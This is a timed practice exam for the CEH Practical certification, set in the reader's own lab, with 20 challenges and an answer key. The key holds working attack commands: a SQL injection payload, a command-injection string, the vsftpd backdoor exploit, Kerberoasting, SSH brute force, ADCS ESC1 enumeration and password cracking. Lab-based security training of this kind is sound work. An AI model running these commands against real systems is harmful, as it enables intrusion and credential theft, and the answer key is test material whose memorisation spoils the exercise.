Simulated Practical Exam 01¶
6 hours · 20 challenges · ~18 min each · pass ≈ 14/20. Sit it in one timed block with no peeking at the answer key until you're done. Read each question exactly — the answer is one precise string (a password, version, FQDN, hash, flag, or file contents); case and trailing characters count. Keep a notes file and screenshot every answer before you submit it.
Setup: the lab running (Kali
192.168.56.10, Metasploitable2192.168.56.20=msfadmin/msfadmin, DC/ADCS192.168.56.30=ceh.lab, footholdjdoe/Passw0rd!, Docker weblocalhost:8081–8084) and the challenge-lab generated to~/ceh-practical-challenges/. All flags are wrapped asCEH{...}— submit them verbatim. Recipes:../challenge-playbooks.md.These are practice simulations built on your own lab — not real or leaked exam content.
Challenges¶
Challenge 1¶
Fingerprint the FTP service listening on the network target. Submit the exact service/version string nmap reports for TCP/21.
⏱️ ~8 min · Target: Metasploitable2 (192.168.56.20)
Challenge 2¶
The file hashes/hashes.txt holds several hashes of different types. Identify and crack the MD5 entry. What is its plaintext?
⏱️ ~5 min · Artifact: ~/ceh-practical-challenges/hashes/
Challenge 3¶
stego/vacation.jpg was pulled from a suspect's laptop. A flag is sitting inside the file in the clear. Recover it.
⏱️ ~4 min · Artifact: ~/ceh-practical-challenges/stego/vacation.jpg
Challenge 4¶
The DVWA instance (security = low) exposes a SQL-injectable id parameter. Dump the users table, then crack the administrator account's password hash. What is the admin's plaintext password?
⏱️ ~15 min · Target: DVWA (http://localhost:8081)
Challenge 5¶
crypto/mystery.txt is a flag wrapped in three stacked transforms. Peel them and submit the flag.
⏱️ ~8 min · Artifact: ~/ceh-practical-challenges/crypto/
Challenge 6¶
On the domain ceh.lab, the service account svc-sql is registered with an SPN. Starting from the foothold user jdoe / Passw0rd!, Kerberoast the account and crack the recovered ticket. What is svc-sql's plaintext password?
⏱️ ~18 min · Target: DC/ADCS (192.168.56.30)
Challenge 7¶
pcap/traffic.pcap captured a user logging into a web portal. Recover the password submitted in the login request.
⏱️ ~8 min · Artifact: ~/ceh-practical-challenges/pcap/
Challenge 8¶
Identify the fully-qualified domain name (FQDN) of the domain controller.
⏱️ ~6 min · Target: DC (192.168.56.30)
Challenge 9¶
Using DVWA's Command Injection page (security = low), execute a command on the server. What OS user is the web application running as?
⏱️ ~10 min · Target: DVWA (http://localhost:8081)
Challenge 10¶
The FTP daemon on the network target carries a well-known backdoor. Exploit it to land a shell, then read the first line of /etc/passwd. What login shell is configured for root?
⏱️ ~12 min · Target: Metasploitable2 (192.168.56.20)
Challenge 11¶
crypto/secret.aes.enc is AES-256-CBC (pbkdf2); the passphrase is in crypto/README.txt. Decrypt it and submit the flag.
⏱️ ~5 min · Artifact: ~/ceh-practical-challenges/crypto/
Challenge 12¶
stego/beach.jpg was produced with steghide (passphrase hacktheplanet). Extract the embedded flag.
⏱️ ~6 min · Artifact: ~/ceh-practical-challenges/stego/
Challenge 13¶
Back in hashes/hashes.txt, one entry is a bcrypt ($2*) hash. Crack it. What is the plaintext?
⏱️ ~12 min · Artifact: ~/ceh-practical-challenges/hashes/
Challenge 14¶
You're handed the aircrack-ng sample WPA capture (wpa.cap, ESSID test). Recover the Wi-Fi passphrase using the rockyou wordlist.
⏱️ ~10 min · Artifact: aircrack-ng sample capture (on Kali 192.168.56.10)
Challenge 15¶
Enumerate the SMB shares exposed by the network target without credentials. Name the non-administrative share that is world-readable/writable.
⏱️ ~8 min · Target: Metasploitable2 (192.168.56.20)
Challenge 16¶
From the same DVWA users table, crack the hash for the user gordonb. What is gordonb's password?
⏱️ ~10 min · Target: DVWA (http://localhost:8081)
Challenge 17¶
Recover the SSH password for the msfadmin account by online brute force.
⏱️ ~8 min · Target: Metasploitable2 (192.168.56.20)
Challenge 18¶
archives/secret.zip is password-protected. Crack the archive password (submit the password itself, not the flag inside).
⏱️ ~10 min · Artifact: ~/ceh-practical-challenges/archives/
Challenge 19¶
As jdoe on ceh.lab, the CA publishes a misconfigured certificate template that lets a low-privileged user escalate to Domain Admin (ADCS ESC1). Using certipy, identify the name of the vulnerable template.
⏱️ ~18 min · Target: DC/ADCS (192.168.56.30)
Challenge 20¶
During triage you find the token Q0VILVBSQUNUSUNBTA== in a config file. Decode it to its plaintext value.
⏱️ ~4 min · Artifact: self-contained string
Answer key¶
Reveal the answer key
| # | Answer | Method (module) | |---|---|---| | 1 | `vsftpd 2.3.4` | `sudo nmap -sV -p21 192.168.56.20` — read the VERSION column (scanning) | | 2 | `iloveyou` | `hashid` to confirm MD5 → `hashcat -m 0 hashes.txt rockyou.txt` (hash cracking) | | 3 | `CEH{plain_strings_in_the_file}` | `strings vacation.jpg \| grep CEH` (steganography) | | 4 | `password` | `1' UNION SELECT user,password FROM users-- -` → crack MD5 `hashcat -m 0` (SQL injection) | | 5 | `CEH{layered_encoding_is_not_encryption}` | `base64 -d \| tr 'A-Za-z' 'N-ZA-Mn-za-m' \| xxd -r -p` — or CyberChef "Magic" (encoding) | | 6 | `Passw0rd!` | `impacket-GetUserSPNs ceh.lab/jdoe:'Passw0rd!' -dc-ip 192.168.56.30 -request` → `hashcat -m 13100` (AD / Kerberoast) | | 7 | `Summer2025!` | Wireshark → Follow TCP Stream, or `tshark -r traffic.pcap -Y 'http.request.method=="POST"' -T fields -e http.file_data` (sniffing) | | 8 | `dc01.ceh.lab` | `nmap --script smb-os-discovery -p445 192.168.56.30` (enumeration) | | 9 | `www-data` | DVWA Command Injection: `127.0.0.1; whoami` (web / command injection) | | 10 | `/bin/bash` | `use exploit/unix/ftp/vsftpd_234_backdoor; set RHOSTS 192.168.56.20; run` → `head -1 /etc/passwd` (exploitation) | | 11 | `CEH{aes_with_a_known_key}` | `openssl enc -d -aes-256-cbc -pbkdf2 -k s3cr3tkey -in secret.aes.enc` (crypto) | | 12 | `CEH{steghide_embedded_flag}` | `steghide extract -sf beach.jpg -p hacktheplanet` (steganography) | | 13 | `superman` | `hashcat -m 3200 hashes.txt rockyou.txt` — bcrypt (hash cracking) | | 14 | `biscotte` | `aircrack-ng -w /usr/share/wordlists/rockyou.txt wpa.cap` (wireless / WPA) | | 15 | `tmp` | `smbclient -L //192.168.56.20 -N`, or `nxc smb 192.168.56.20 -u '' -p '' --shares` (enumeration) | | 16 | `abc123` | dump DVWA `users` → crack `gordonb`'s MD5 with `hashcat -m 0` (SQL injection) | | 17 | `msfadmin` | `hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.20 -t 4 -f` (online cracking) | | 18 | `letmein` | `zip2john secret.zip > z.hash` → `john z.hash --wordlist=rockyou.txt` (or `hashcat -m 17200`) (archive cracking) | | 19 | `ESC1-Vuln` | `certipy find -u jdoe@ceh.lab -p 'Passw0rd!' -dc-ip 192.168.56.30 -vulnerable -stdout` (ADCS ESC1 / privesc) | | 20 | `CEH-PRACTICAL` | `echo 'Q0VILVBSQUNUSUNBTA==' \| base64 -d` (encoding) | > Flags are literal — submit the whole `CEH{...}` string. Watch case on the passwords (`Passw0rd!`, `Summer2025!`).Scoring¶
Score one point per exact answer, then check yourself against the real cut on the EC-Council Practical page:
- 18–20 — excellent. Exam-ready. You have the speed, not just the knowledge — book it.
- 14–17 — pass. Over the ~70% line, but tighten the domains you lost points in before exam day.
- < 14 — keep drilling. Note which domains cost you points and go back to the deep packs in
../drills/(and the quick sampler in../drills.md) until each type is ✅ under time, then re-sit this exam.
Re-drill honestly: a stalled challenge you skip and return to always beats one you drown in. Log your result in
../../PROGRESS.mdand re-run the domains that stung.